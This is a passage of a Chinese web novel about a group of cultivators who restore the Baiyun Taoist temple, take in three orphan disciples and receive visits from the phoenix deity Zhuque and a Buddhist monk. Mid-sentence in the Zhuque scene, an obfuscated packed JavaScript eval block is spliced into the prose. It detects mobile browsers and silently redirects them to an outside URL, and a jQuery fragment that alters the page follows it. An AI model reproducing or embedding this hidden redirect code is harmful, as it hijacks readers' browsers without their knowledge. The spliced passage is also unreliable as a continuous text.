两人坐在月亮下,虫儿在草丛里滴铃铃地叫着。赵大海看着远处,道:“我想通了,亲兄弟也有成家的一天。我只是觉得有点孤独,可能……以后我也该成个家了。” 以前他们在青岩山的时候,好像从来没有过这种顾虑,总觉得能这么嘻嘻哈哈地过一辈子。伏顺以前总怕自己娶不到媳妇,可如今真的有姑娘搭理自己了,他才意识到,其实兄弟对他来说才是更重要的。 伏顺的心情有些惆怅,不知道这样对不对,但大家都是这么向前走的。他道:“那就找个喜欢的姑娘。以后咱们回老家了,还能天天在一起。” 赵大海没说什么,伏顺站起来伸了个懒腰,道:“说好了,以后还是你做饭,大家都爱吃。大师兄点名要喝玉米粥,别忘了啊。” 赵大海笑了一下,道:“知道了。” 次日一早,桌上又出现了熟悉的玉米粥。赵大海像什么事都没发生过似的,系着围裙坐在饭堂里。段星河喝了一口粥,安心的感觉又回来了,道:“房子快修好了吧?” 步云邪道:“昨天我转了一圈,看外头墙都堵上了,里头坏的地方也修的差不多了。” 段星河道:“等修好了放一挂鞭炮,庆祝一下。” 李玉真道:“好啊,放挂大的,一万响的那种,迎点喜气。” 步云邪道:“不是说要收徒弟吗,道观都快整好了还没人来。” 段星河把粥喝完了,道:“这种事急不得,看缘分吧。” 上午众人各自忙活自己的事,有的洗衣服,有的在修炼,有的喝茶抠脚。司空玉在屋里拿着小本子不知道在写什么。李玉真右手比作剑指,夹着一张黄符,凝神向前一甩。黄符放出了淡淡的灵光,围着他转了几圈,嗡嗡直响。 李玉真的头发和衣袖都被灵力震得猎猎飞舞,他感觉自己的阵法快要练成了,十分兴奋。黄符在风中不住震颤,忽然掉了下去,啪地一下子糊在了小对眼的背上。 小对眼本来在屋檐下睡觉,忽然像被火烫了一般,嗷地一声跳起来。李玉真吓了一跳,伸手一挥,符咒飘悠悠地落下来。李玉真慌张道:“对不住我失手了,我看看,哎呀……毛秃了一块……” 空气中弥漫着一股糊味,小对眼觉得他太不靠谱了,从他怀里挣脱出来,窜到了屋顶上,飞檐走壁地找它妈去了。 练武场上,一红一碧两个身影交错而过,冰冷的兵刃映着头顶的烈日,放出夺目的光芒。锵地一声,宋胡缨手中的斩马/刀挥了过去,六幺提剑架住了。她的长发在风中飞扬起来,红色的衣袂不住飘荡。 六幺的眼神认真起来,道:“有两下子!” 宋胡缨道:“你也不差。” 两人相约在练武场切磋,打了上百个回合,不分胜负。伏顺在旁边看着,嫌拐杖碍事扔在了地上,大声赞叹:“好,斗宗强者,恐怖如斯!” 宋胡缨冷冷道:“贫嘴。” 伏顺真诚道:“没贫,反正都比我强。” 太阳越升越高,晒得众人都有些热,六幺抹了一把汗,想找点水喝。就见小对眼从外头冲过来,冲它妈嗷嗷一顿告状,模样又可怜又委屈。宋胡缨虽然没听懂,但看它背上有个长条形的秃斑,像极了被符咒烫的。她的脸沉了下来,道:“李玉真干的?” 小对眼:“呜嗷嗷嗷嗷嗷嗷嗷嗷——!” 宋胡缨把刀一收,道:“等会儿我找他去。” 小对眼:“喵呜呜呜呜呜呜。” 结香端了一壶绿豆汤,穿过月洞门走进来,道:“大小姐……啊,都在呢,喝点绿豆汤解暑吧。” 六幺小声提醒道:“拐杖、拐杖!” 伏顺这才想起来自己还在装病,连忙架起了拐杖,一瘸一拐地走过去。结香看了他一眼,没说什么,但看她的表情似乎是已经看出来了。 伏顺有点尴尬,搔了搔头,转移话题道:“最近没见二师兄呢,他在忙什么?” 六幺道:“一直在丹房吧,他不是丹修么。” 伏顺喔了一声,道:“那大师兄呢?” 宋胡缨道:“可能在看工人修房子吧,没人看着进度也不成……咦,什么声音?” 伏顺竖起耳朵听了听,哐哐哐,哐哐哐,好像前头有人在敲门。 “有人来了,”他道,“这荒郊野岭的,谁会来找咱们?” 前院堆着一些木料和石头,段星河帮工人抬 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最大的那个男孩儿口齿清楚,人也聪明,说自己跟着一个游方道士念过几天经,后来他师父去世了,他就在街上流浪了。另外两个孩子念过三字经,认得一点基本的字。前阵子闹瘟疫,他们的父母没了,他们就成了小乞儿。三个人认识也没几天,见告示上说附近招徒弟,包吃住,觉得是条生路,就搭着伙儿一起来了。 段星河看着他们,莫名想起了十多年前,自己被师娘带回青岩山时也脏兮兮的,什么都不会,还像头小狼崽子似的凶性十足。师父也没嫌弃他,收他做了大弟子。段星河生出了恻隐之心,温声道:“你们进来吧。” 他还没说拜师的事,但那三个小孩儿十分激动,纳头便拜,大声道:“拜见师父!” 三个人反应这么一致,看来是来的路上已经商量好了。段星河有点哭笑不得,道:“先别拜,等会儿!” 他像拎猫崽子似的,伸手把那个大孩子提了起来,喝道:“你们俩也起来,站直了。” 那两个小孩儿这才站起来,纷纷道:“师父,我们勤快,吃得少能干活,你就收下我们吧!” 段星河道:“你们叫什么名字?” 大孩子道:“我叫刘铁柱,我爹叫我柱子。他叫张狗剩,小妹叫李招娣。” 听着就挺好养活的,就是不像修道的名字。段星河道:“我给你们取个道号吧,以后你叫晓风,小圆脸叫明月。小姑娘的个头最小,就叫朝露吧。” 魏小雨怀里抱着墨墨,从旁边探出头来,道:“你们是新来的吗?” 段星河道:“这是小雨姐姐……喔,她比你们高一辈,要叫她师叔了。” 三个小孩儿立刻大声道:“拜见师叔!” 魏小雨一直吊车尾,还是头一次给别人当长辈,眼睛都亮起来了,道:“很好,哈哈哈哈,以后我罩你们了!” 三个小孩儿觉得这里的人接纳自己了,都很高兴。段星河道:“你们跟我来吧。” 他带着几个孩子来到了后头的祠堂里,点了四柱香道:“各位前辈,今日我替白云观收了三个徒弟,传承贵派衣钵。” 他把香插进香炉里,指了一下桌上的牌位,对他们道:“我替故人收徒,你们就拜这位冬青子先生为师吧。” 三个小孩儿面面相觑,只听说过跟大公鸡拜堂的,没听说过跟木牌拜师的。朝露忍不住道:“为什么要认一块牌子做师父?” 晓风拿胳膊肘捣了她一下,低声道:“让你磕头就磕头,哪那么多废话。” 当道士有饭吃有衣穿,比在街上要饭强多了。他们是真正把这个当成生计来做的,不过是几个头而已,磕就是了。三个孩子噼里啪啦磕了十来个头,段星河道:“好了起来吧。” 三个孩子望着他,十分虔诚。段星河道:“等会儿让结香姐给你们量一量个子,做几件衣服。吃饭了吗?” 明月的肚子早就饿的咕咕叫了,道:“没有。” 对于他们来说,吃饭是头等大事。段星河轻轻一笑,道:“走吧,先吃饭再说。” 李玉真弄没了小对眼的毛,害怕宋胡缨找自己算账。他奔回屋里,翻出旧衣服剪了一截袖子,打算给它遮一遮。他拿着袖子比划过来,比划过去,觉得还是有点自欺欺人。 他想了片刻,觉得逃避不是办法,索性去找步云邪。 步云邪正在屋里看千金医典,李玉真敲了敲门,道:“步兄,有空吗,聊聊?” 步云邪合上了书,随手给他倒了杯茶,道:“坐。” 李玉真扯了个圆凳坐在书桌边,一脸迫切道:“步兄,你医术高明,有没有快速长出毛发的药方?” 步云邪下意识看他脑袋,见也没有秃的迹象,道:“怎么了?” “不是我,”李玉真道,“就是刚才我不小心,把小对眼背上的毛烧掉了一块,很难看,你有没有办法?” 步云邪被勾起了好奇心,道:“有多难看?” 李玉真还没说话,就听宋胡缨在外面拍门,道:“步兄,李玉真躲在你这里吗?” 李玉真顿时出了一头冷汗,冒着腰躲在了帷幔后面,道:“就说我不在。” 步云邪道:“他不在。” 宋胡缨一脚迈过了门槛,冷冷道:“是吗,刚才有人看见他进了你的院子啊。” 她怀里抱着小对眼,进了门把它放在了桌上,一副兴师问罪的模样。它背上有一个长条形的秃斑,被烧的黑乎乎的。步云邪噗嗤一声笑了,心想:“原来是这么个难看法。” 宋胡缨一脸冷淡,道:“还笑,有什么好笑的。” 步云邪收敛了笑容,一副正经的模样。宋胡缨道:“人呢,把他交出来,不算你连带责任。” 步云邪沉默着,手悄悄指了指帷幔后面。宋胡缨大步走过去,提着耳朵把人拽出来了。李玉真歪着头道:“啊疼疼疼,耳朵要掉了!” 宋胡缨把他拽到小对眼面前,道:“是你干的么?” 李玉真一副倒霉的样子,道:“我真不是故意的,那什么,我给它做了个马甲……毛长出来之前,先穿着挡一挡。” 他从怀里掏出了刚才剪的半截袖子,不由分说给小对眼套上了。袖子剪得参差不齐,穿在身上松松垮垮,小对眼显得不伦不类的,比刚才更难看了。 小对眼十分不满,扑腾了几下,把衣服撕了下来。宋胡缨面无表情道:“它不喜欢。” 李玉真也没有办法,道:“那怎么办?夏天快到了,要不就把毛都剃了……算了当我没说……” 宋胡缨的脸色越发冷淡了,小对眼也一副委屈的模样。步云邪怕他们吵起来,连忙道:“我给它配一点长毛的药,保证半个月就长回来了。” 宋胡缨道:“有这种药?” 步云邪道:“调调肝肾就行了,交给我吧。” 他的医术高明,宋胡缨暂且相信了他。她抱起了小对眼,道:“都是坏人,以后别跟他们玩。” 她说着转身走了,李玉真和步云邪都松了口气,护国大将军的女儿生气起来真的有千军万马的气势。李玉真抹了一把汗,道:“多谢,差点就死了。” 步云邪道:“没那么夸张,顶多就是给你也剃个斑秃而已。” 李玉真想那也够要命的了。屋里有点闷热,他搬了个凳子在门廊上坐着。步云邪抓了几服药,放在铜臼里捣着,开始给小对眼配药。 魏小雨从院门前经过,见了李玉真,跑过来道:“大师兄收徒弟啦!” 那两人都有些惊讶,李玉真道:“什么时候的事?” “就刚才啊,”魏小雨道,“大师兄已经带他们吃过饭了,现在到处溜达呢,带他们熟悉环境。” 步云邪有点好奇,抱着铜臼起身,道:“走,看看去。” 109.白云观 三 他和李玉真出了院门,远远地就见段星河带着三个小孩儿从前头经过。他虽然让他们管冬青子叫师父,但他们就认准了段星河,亦步亦趋地跟着他。 步云邪看了片刻,觉得有点好笑,道:“你看像不像刚破壳的小鸡。” 李玉真揣着袖子道:“真像,哈哈哈。” 段星河听见了这边的声音,扭过头来看了一眼。步云邪捣着药,一副气定神闲的姿态,扬声道:“恭喜啊,收徒弟了——” 李玉真也道:“恭喜恭喜。” 段星河不能让他俩跑了,指着那边道:“他俩是你们的二师父和三师父,快喊!” 三个小孩儿中气十足地喊道:“二师父,三师父!” 段星河道:“以后二师父教你们修炼,三师父教你们画符。” 步云邪和李玉真笑不出来了,魏小雨道:“那你教什么?” 段星河之前打扫的时候,整理了一下白云观的心法,各大宗门练气的基础大同小异。他替白云观收徒,还是得教白云观的东西,打算过几天就教他们入门。段星河道:“他俩不管的都归我管。” 他带着三个孩子在白云观里转了一圈,跟大家打了招呼,安排他们住下了。结香烧了水,给他们洗了个热水澡。她给孩子们把打绺的头发细细地梳开,扎起了道髻,换上了新衣裳。 段星河从院外进来,透过窗户见结香给朝露穿上了外衣。小女孩还没凳子高,两只脚悬空着晃来晃去的。另外两个孩子在隔间坐着,已经收拾好了,也是一副规矩整齐的模样。他远远地端详着他们,心里很满意。步云邪站在他旁边,道:“捡到宝了。” 段星河道:“确实……要不是脏兮兮的,也轮不到咱们捡。” 步云邪笑了,道:“说什么呢,小心让孩子听见。” 段星河道:“听不着,他们乖着呢。” 屋里那两个小孩侧身对着外面,没注意到远处的人。晓风小声道:“二师父真好看,你觉得呢?” 明月憨憨地说:“有吗,我看不出来。” 他还不到十岁,吃饭和睡觉对他来说吸引力更大。晓风想了想说:“你还太小了,等以后就知道什么叫好看了。” 朝露听见了,在里间大声道:“他脸盲,根本分不清二师父和三师父谁是谁,只认得大师父。” 那两个小孩子认识的久一点,对彼此知根知底的。晓风诧异道:“你眼神不好?” 明月搔了搔头,道:“我眼神没不好,就是……看谁都长得差不多。” 结香听着他们聊天,忍不住笑了,逗小女孩儿道:“那你觉得谁最好看?” 朝露显得有点忸怩,道:“我觉得大师父好看。” 段星河从外头进来,听见了朝露的话,扬起了嘴角。步云邪道:“美得你。” 结香从里屋出来了,道:“步公子,刚才晓风夸你好看呢。” 晓风也不好意思起来,道:“我没有……” 逗小孩儿适可而止,段星河拍了拍手,道:“好了,都站好。” 三个孩子站在一起,段星河道:“说一下日常,以后每天卯时初去守一堂上早课,卯时正去饭堂吃饭。辰时回守一堂上课,每五日休沐一次。缺什么跟我说,生病了找二师父看,还有什么不明白的。” 三个小孩儿道:“没了。” 段星河把从祠堂拿来的门规放在桌上,道:“很好,自行把门规看一看。从明天起,开始修行。” 段星河每隔三天抽一个时辰去守一堂给他们讲经,下次来时给他们答疑。大师父没课的时候,步云邪会来教他们练气,李玉真教他们画符,司空玉教他们认字和算数,宋胡缨带着他们在院子里扎马步。其他时候几个孩子自己打一打坐、念一念经,一天就这么过去了。 等以后领进了门,他们就能自己修行了。几个小孩儿闲不住,习惯了这里的生活就开始到处乱窜。这天三个人背着竹筐从山里回来了,十分自豪,纷纷道:“大海师父,看我们带什么来啦!” 赵大海系着围裙从厨房里钻出来,看着他们筐子里堆得满满的柴草和蘑菇,道:“你们是来修道的,还是来干活的?” 朝露道:“我们不想吃白饭。” 明月道:“对,我们也能干活的。” 虽然他们是一片好意,赵大海怕他们在山里乱走碰上野兽,赶鸭子似的道:“以后别去了。这些活儿我来干,没事就练功去吧。” 那两个小孩子有些失望,晓风放下了柴草筐,道:“咱们走吧。” 明月和朝露也放下了筐子,跟着他一起往回走。小对眼从旁边经过,停下来蹭了蹭明月的脚。明月摸了摸它,道:“大海师父不让去捡柴了,咱们以后干点什么好。” 小对眼哇地叫了一声,竖起尾巴回头看着他们,好像叫他们跟自己去玩。晓风觉得老是想着做点什么也没意思,道:“下午没课,要不就玩会儿吧。” 朝露道:“玩什么?” 晓风道:“大师父不是给了咱们一个球么,叫上小雨师叔,等会儿去踢球好了。” 工匠们忙活了一个月,终于把房子修好了。白云观破损的地方都补起来了,院墙重新刷了一层白灰,大门上了一层黑漆,地上碎掉的砖和破洞的屋顶也重新修过了,铺了一层新的青瓦片。练武场上放着练功用的木人桩、箭靶子、兵器架,花园里摆了几块太湖石。屋里的帷幔、床帐、被褥也都换了新的,整个道观焕然一新。 段星河挑了个好日子,挑着一挂一万响的大红鞭炮点燃了。鞭炮噼里啪啦地炸了一地,众人都聚在大门前,喜气洋洋的。三个小徒弟捂着耳朵在旁边看着,十分兴奋,感觉跟过年似的。 炮仗放完了,伏顺从旁边递过来一面大铜锣。段星河拿起棒槌抡了一下,铜锣哐地一声响,声音回荡在山中。他长声道:“诸恶退散,瑞气盈门——” 他当先迈过了门槛,其他人跟着进了道观,白云观从此算是获得新生了。 天空中传来一声啼鸣,众人抬眼望去,一只火红的凤凰从远处飞了过来。凤凰通身带着灿烂的金光,在白云观上空盘旋了一周,强大而又温柔的灵力笼罩着白云观,仿佛赐福于此处。 朱雀飞到庭院中,翩然落了地,变成了一个身穿红色锦衣,披着金丝云肩的男子。他乌黑的头发垂着,末尾束在一起,脸旁的碎发也用细小的金箍结成了一束束发缕,随着行走微微摆动,透着说不尽的风流神采。 三个小徒弟只在年画上见过凤凰,都惊呆了。朝露小声道:“好漂亮啊……” 大喜之日,朱雀亲临,当真是祥瑞赐福。段星河带人迎上去,行礼道:“陵光神君,您怎么来了?” 朱雀和气道:“前天你跟掌教真人送信,说今天开张,掌教让我来给你送点喜气。” 师尊对自己这样上心,段星河十分感动,道:“多谢陵光神君,替我多谢师父。白云观有你赐福,必然能吉祥昌盛!” 朱雀道:“应该的,不必这么客气。” 那三个小孩儿望着朱雀,眼睛亮晶晶的。朝露被他迷得脑子都转不动了,想摸一摸他金灿灿的衣角。朱雀看见了她欲伸又止的小手,轻轻跟她握了一下,道:“你就是新收的小徒弟?” 朝露顿时心花怒放,点了点头,道:“我叫朝露。” 朱雀端详着他们,微微一笑道:“不错,都挺精神的。” 众人一起往花厅走去,结香烧好了水,把茶端了上来。朱雀道:“义灵使呢?” 段星河道:“它还在山谷休息。” 朱雀叹了口气道:“一天到晚就知道睡,都睡成石头了。你也想想办法,把另外几个使者放出来给它做个伴吧,要不然就它自己也怪无聊的。” 他说得这么轻巧,好像随随便便就能放出来似的。段星河手里的那几块碧玺不够,至少得再找到一块才能放一个出来。他道:“我尽力,以后看机缘吧。” 朱雀喝了一口茶,道:“刚才我来时见山下有人过来,应该还有客。” 段星河有些疑惑,不知道这荒郊野岭的会有谁来道贺。正寻思着,就见伏顺从外头跑过来,道:“哥,纵横派的人来了!” 段星河站了起来,就见一名纵横派的弟子背着行囊从外头进来了。他放下身后的竹箧,从里头拿出一封信来,道:“二哥,开门大吉,这是我们大哥让我给你送来的!” 段星河对这人有点印象,之前在莽山见过他,那时候他们还在山寨里强行护送人过路。如今事业发展起来了,不少城镇出现了他们的情报站。段星河之前在山下的镇子里转了一圈,没找到纵横派的标志。 段星河有点遗憾,道:“你们的站子还没开过来?” “还没有,不过快了。”小弟道,“大家每天都能接不少活,挣钱挺多的。” 段星河看了一眼他鼓鼓囊囊的背包,道:“你们都忙活什么?” 小弟道:“未来的目标是做情报买卖,纵横捭阖,掌握国家命运。但现在就是……大哥说要脚踏实地,从小事做起。” 魏小雨插嘴道:“具体呢?” 小弟搔了搔头道:“送信、找猫找狗、代买菜买药、代骂代分手,代哭丧……” 这日常跟他们的宏图伟业差的也太多了。李玉真刚喝了口茶,没忍住喷出来了,道:“呛死我了,咳……还有代分手的?” “有啊,”小弟道,“男的始乱终弃怕被揍,就来找我们去说。女的气不过又找我们去代骂,一来一回,生意不就做起来了吗。” 李玉真点了点头,比了个大拇指道:“头脑灵活,了不起。” 小弟道:“大哥最近忙着没空过来,但是很想念二哥,让我画两张图带回去。” 这里也没什么机密情报,段星河挥了挥手,示意他自便,一边拆开了信。于百川的笔迹跟他本人一样,鲜明跳脱,浑身是劲儿。 段星河翘起了二郎腿,见于百川写道:“好兄弟,好久不见,一向可好?听说你前阵子毁了满月盛会,杀了拜月教的教主,这可是个了不得的投名状啊!邪宗的人恨你恨得要死,白道的人把你当成了个大宝贝……大英雄。蜀山掌教收你做了关门弟子,飞黄腾达了,大哥也替你高兴。以后说出去,我于百川的兄弟是蜀山长老最中意的徒弟,太有面子了!听说你在白云观落脚了,信送到的时候,房子应该就修好了吧。我们最近又建了三个站点,加起来已经有十一个分站了,以后打算在你家门口也建一个,咱们兄弟通信就方便了。纵横派的总舵在大新已经建好了,有空来找哥哥玩,等你!” 小弟走到院子里,拿着笔比划了几下,一脸严肃。魏小雨道:“他比划什么呢?” “量比例,”司空玉道,“西洋画讲究透视,你不懂。” 小弟在院子里唰唰一通画,片刻来到客厅里,道:“大家笑一下,茄子——” 段星河等人配合地露出笑容,小弟奋笔疾画,片刻完成了,递给段星河让他过目。一张是白云观修好了的样子,一张是他们的画像。羊皮纸上所有人都在,三个小徒弟簇拥在朱雀身边,试图沾一点他的仙气。魏小雨抱着墨墨站在左边,段星河和朱雀坐在上首,赵大海和伏顺站在段星河身后。步云邪和李玉真、宋胡缨和司空玉坐在两旁,小对眼蹲在它妈脚边。六幺抱着剑站在司空玉身后,结香站在另外一边。 魏小雨凑过来看了一眼,道:“哇,画的真好,跟全家福似的。” “就是全家福,”小弟道,“大哥说二哥是他最好的兄弟,要把他的全家福好好收藏起来。” 朱雀看了一眼,道:“确实不错啊,你们也想要吗?” 小雨道:“再画一张吗?” “不用,”朱雀道,“给我张纸。” 小弟有没用完的羊皮纸,递了过去。朱雀抬手一拂,灵光散落在空白的纸上,形成了一副跟原来一模一样的画。三个小徒弟十分惊讶,道:“哇,这样也行!” 小弟也震惊了,没想到他的朋友还有这样的神通。段星河收起了画,打算弄个框放在屋里,道:“还有个事想问你们,这里跟外面的世界有通道,你们知道在什么地方么?” 小弟倒是听说过,但不清楚具体的位置,道:“我回去帮你查一下,写信送到驿站。” 段星河点了点头,道:“好,替我多谢于兄,我以后有机会去看他。” 小弟道:“收到,还有什么吗?” 段星河想了想,道:“没了,休息一天再走吧,我让人给你做点饭。” 小弟背起了竹箧,往上一颠道:“不了,下午有别的信要送,晚上还有个代骂业务。纵横天下,使命必达——我们的目标是,天下太平!” 他喊完了口号,热血沸腾地走了。其他人沉默着,觉得他们这么有奔头其实也挺好的,说不定哪天就真的实现愿望了呢。 朱雀喝了一会儿茶,跟他们在院子里逛了一圈,见白云观修的这么整齐,叹了口气。段星河想起之前他被侵蚀了心智,受妖人唆使,轰塌了大半个白云观。他心中应该是愧疚的,远远地看见了祠堂,没再向前走,转身绕开了。 段星河和其他人去张罗做饭的事了,想好好招待客人。步云邪陪着朱雀散步,两人来到了丹房,桌上放着一本长生经。朱雀拿起了那本书,见扣在御龙长生丹这一页,道:“你也在炼这个啊。” 步云邪道:“晚辈受钦天监之命,给大幽皇帝炼的。” 朱雀道:“正宗邪宗的人有不少炼这个的,一个是材料难得,对炼药者医理的要求也挺高的,失之毫厘差之千里,你可要当心。” 先前李司正炼药失败,就催生出了许多变异的怪物,差点就逃出去酿成大祸。步云邪知道此事非同小可,一直很小心,道:“我有灵兽试药,又从小学医,没事的。” 朱雀想起了他养的灵貘,那小家伙能辟百毒,确实是试药的神物。这后生倒是得天独厚,说不定真的能炼出点名堂来。 他道:“药材都收集齐备了么?” 步云邪一直想开口求他,苦于没有机会,此时行礼道:“陵光神君,晚辈还缺一味朱雀烬,不知前辈能否赐我一根羽毛?” 方才他就一直盼着朱雀能掉一根羽毛,默默地盯了一路了。但朱雀身上的羽毛都长得挺结实的,大老远飞过来都没掉一根。步云邪没办法,只好开口讨要了。 朱雀倒没觉得被冒犯,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240273|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌边坐下了,道:“这可是凤毛麟角,世间难得的稀罕物。你想要,拿什么来跟我换?” 步云邪迟疑了一下,不知道自己有什么能跟他交易的,但感觉他似乎有话要说。他道:“还请前辈示下。” 朱雀的神色认真起来,道:“好好教养那三个小孩儿,来日白云观复苏,就靠他们了。” 步云邪一怔,明白过来了。先前朱雀把白云观弄成了一片废墟,心里一直很过意不去。若是这一门就此灭绝了,他必然很自责。如今段星河他们重新修复了这里,又收了三个徒弟,为白云观传承了香火,朱雀其实很感激他们,要不然今日也不会专门来道贺。 只要这三个孩子能好好长大,继承白云观,自己的错误也算得到弥补了。 步云邪道:“我们只要还在一天,就会好好尽自己的责任,保护这几个孩子。” 朱雀道:“你们要走?” 步云邪道:“这里毕竟不是我们的家。以后若有变数,这几个孩子有陵光神君照拂,自然也不会吃亏。” 朱雀静了片刻,知道他说的不错。这世间变数这么多,谁也不知道明天会发生什么,承诺太远的事也没有意义。 再有三五年,这些孩子就长大了,能教给他们的东西也教的差不多了,他们就能把白云观传承下去了。 “也罢,”他轻轻一笑道,“你们先好生带着,以后若是回家了,我再来看着他们。” 朱雀从耳后拔下了两根头发,摊在手心里,变成了两根羽毛。红色的凤羽散发着金色的灵光,步云邪的心都跳得快起来了,有了此物,离炼成金丹又近了一步。他接过了凤羽,感激道:“多谢神君厚赐。” 朱雀道:“你费尽心血炼这丹药,该不会只为了那皇帝老儿吧?” 步云邪淡然道:“这药不知道要炼多久,陛下年事已高,恐怕已经来不及了。” 朱雀明白了他的意思,道:“那就慢慢来吧。你师兄不是一直想登阶么,你若真能炼好,便是帮了他大忙了。” 步云邪的目光流转,也不知自己能不能做到。他道:“还差一份忘川河水,这一味药……怕是活着就取不来了。” 朱雀沉吟了片刻,道:“说不定以后有缘法呢,该来的时候,就都会来了。” 两人说着话,魏小雨从外头跑过来,道:“饭做好了,大师兄让我来请客人去用饭。” 这边的事都办完了,朱雀道:“不了,我还有事,先走了。有什么事可以来蜀山找我。” 他说着起身出了门,化作一只凤凰,一拍翅膀飞到了空中。那三个孩子望着天空,道:“大师父,凤凰走了!” 段星河刚把饭菜放在桌上,没想到他这就走了。 孩子们跳起来,朝那边挥了挥手。朱雀啼鸣了一声回应,飞进了云层里,渐渐远去了。 阳光从门外照进来,段星河坐在桌子旁,手里拿着块清净石慢慢打磨。他捡起了从前的爱好,一连打磨了好几天,终于差不多了。他把玉石放在水里洗了洗,冲掉了石粉,拿起来端详了片刻。 白色的无事牌打磨的平整光洁,如满月一般。段星河对自己的手艺很满意,想打个孔穿起来,又舍不得破坏它。桌上有一块钦天监发的鎏金怀表,他想了想,用小刀把表芯撬下来,把玉牌放了进去,差不多大。他调整了一下外壳,把玉镶嵌牢固了,啪地一声合上了盖儿。 以后把玉贴身带着,就能时刻监控自己的情况了。段星河解决了一桩心事,长舒一口气。步云邪从外头进来,道:“星哥,你让我找的,喏。” 他把一个银相框放在桌上,道:“走的时候从钦天监顺了一大箱子西洋玩意儿,不翻翻都忘了,有不少有趣的小东西呢。” 段星河道:“还有什么?” 步云邪漫不经心道:“有个会跳舞的小人儿八音盒,还有个万花筒,送给晓风他们玩去了。” 段星河抬眼道:“三个孩子分两个玩具,你搁这二桃杀三士呢?” 步云邪道:“哪有这么夸张,一起玩不就行了吗?” 段星河帮师娘带过不少孩子,对此有丰富且惨痛的经验,道:“你不懂,当长辈的,最重要的是一碗水端平。” 两人说着话,就听见走廊尽头噔噔噔一阵脚步声。明月呜呜地哭着来了,道:“大师父,你在吗……他们欺负我。” 段星河道:“怎么啦?” 明月委屈道:“朝露拿着八音盒不给我玩,晓风睡觉都搂着那个万花筒,碰都不让我碰一下。我等了好久,什么也没有,呜呜……” 段星河看了步云邪一眼,仿佛是说:“你看吧。” 步云邪头上渗出了冷汗,终于明白为什么一家好几个孩子,玩具都买一样的了。免得吵架哭闹,说爹娘偏心。 步云邪道:“把脸擦擦,啧……鼻涕出来了。你先回去,为师再给你找找。” “不用了,”段星河道,“你只要不哭,师父就给你个更好的。” 明月掏出手绢,哧地擤了一下鼻涕,道:“我不哭了。” 段星河打开抽屉,从里头掏出一个清净石雕的小葫芦,有拇指大小,石头晶莹透亮,不但好看,而且有清心宁神的作用,戴在身上能让修行更加专注。这是他前几天拿边角料练手的成品,一共做废了四个,这是唯一个能看的。他本来想给步云邪拿着玩的,如今只好先哄孩子。 段星河在小葫芦的腰上系了一根红绳,给明月揣在了衣兜里,道:“你的比他们的好,不准炫耀。要是有人问,就说你从小就有的。” 明月头一次拥有这么漂亮的小物件,眼睛顿时亮了起来。他点了点头,道:“我不说,谢谢师父!” 受过穷的孩子是更机灵一点,知道师父是怕他们每个人都来要一个。段星河微微一笑,道:“去吧。” 明月开心地走了,步云邪松了口气,感觉看孩子真是一门学问。段星河抿着一丝笑,把那张全家福塞进了相框里,道:“带孩子虽然麻烦,但是看着这么一大家子人在一起,也挺满足的。” 步云邪看着那张画,心中蓦然有所触动。段星河是个家族观念很重的人,他虽然没有亲人,却把青岩山的师弟妹都当成了自己的亲人。来到这里之后,更是把所有人都找了回来。这对于一般人来说,几乎是个不可能完成的任务,但他硬是做到了。 这么多人一起来,就要一起回家,一个也不能少。 他近乎执拗地保护着所有人,只要跟他在一起,大家就有勇气面对一切。先前步云邪中了邪神之眼,怕自己会再也看不见了,可有他陪着,也一步步从泥潭里走了出来,重见了光明。 初夏的风从庭院吹过,带来荼蘼花的香气,白色的小花开得如堆雪一般。步云邪望着远处的庭院,露出了淡淡的笑容。 段星河道:“怎么了?” “没什么,”步云邪道,“就是觉得活着很好,跟你们在一起很好。” 他注视着段星河,目光柔和道:“能再看到你,也很好。” 在这个乱世中,他们互相支撑着,彼此就是对方的依靠。 段星河轻轻一笑,眼里仿佛有千言万语,最终也只是道:“我也一样。” 110.白云观 四 伏顺闲来无事,拿着把大剪子在前院修剪花木。剪下来的冬青叶子堆在路边,散发着草木的清香。知了在树荫里嘶鸣着,伏顺擦了把汗,感觉一天比一天热了。 门外叩了几声,一人道:“有人么?” 伏顺觉得有些奇怪,这深山老林的,有谁会来?他去开了门,见一个健壮的大和尚和一个小沙弥站在外面。那人双手合十道:“阿弥陀佛,贫僧瀚海,请问段星河施主在么?” 伏顺在无双城见过他,咧嘴笑道:“是瀚海大师啊,大师兄在呢,快请进!” 他请那两个和尚去花厅坐下了,去段星河住处道:“哥,大悲寺的瀚海大师来了,专门来看你的。” 段星河一怔,顿时露出了笑容。看来自己在白云观落脚的事传的挺快的,正道上的朋友都来了。他整了整衣裳,起身道:“快去迎接。” 结香送上了茶水和素点心。小沙弥坐在椅子上,看着一群小孩儿抱着球从院子里经过,有说有笑的,有些羡慕。魏小雨听说在凤来城帮过自己的大和尚来做客了,连忙过来看他们。 小沙弥吃了一块绿豆糕,忽听一人道:“你来啦,莫……莫愁。” 他转过头,就见魏小雨从外面跑了进来,高兴地望着他。 小沙弥在人家家里规矩了不少,也不张嘴就嗔了,道:“我叫莫嗔。” 魏小雨搔了搔头,哈哈地笑了,道:“不好意思,我给忘了。好久不见了,大师好吗?” 瀚海大师微微一笑,道:“贫僧很好,小友看起来也不错。” 魏小雨道:“大师兄收了好几个徒弟,都跟我差不多大,有人跟我作伴了。” 她抬了一辈,逢人就要炫耀这件事。她对莫嗔道:“要一起玩吗,他们去道观后面踢球了,我带你一起去。” 瀚海大师点了点头,道:“去吧。” 小沙弥跟着师父到处游历,很少有机会跟同龄人一起玩。他站了起来,魏小雨一把拉过他的手,道:“快来!” 瀚海大师喝了一杯茶,段星河快步从外头走了进来,道:“瀚海大师,好久不见!” 瀚海站了起来,脸上带着笑容,道:“段施主,好久不见了。我听说你在这里落了脚,刚好我和徒儿从这里经过,就来看一看老朋友。” 段星河落了座,道:“欢迎,好不容易来了,可要留下来好好住一段时间。” 瀚海也不推辞,道:“既然如此,那贫僧就叨扰些时日。” 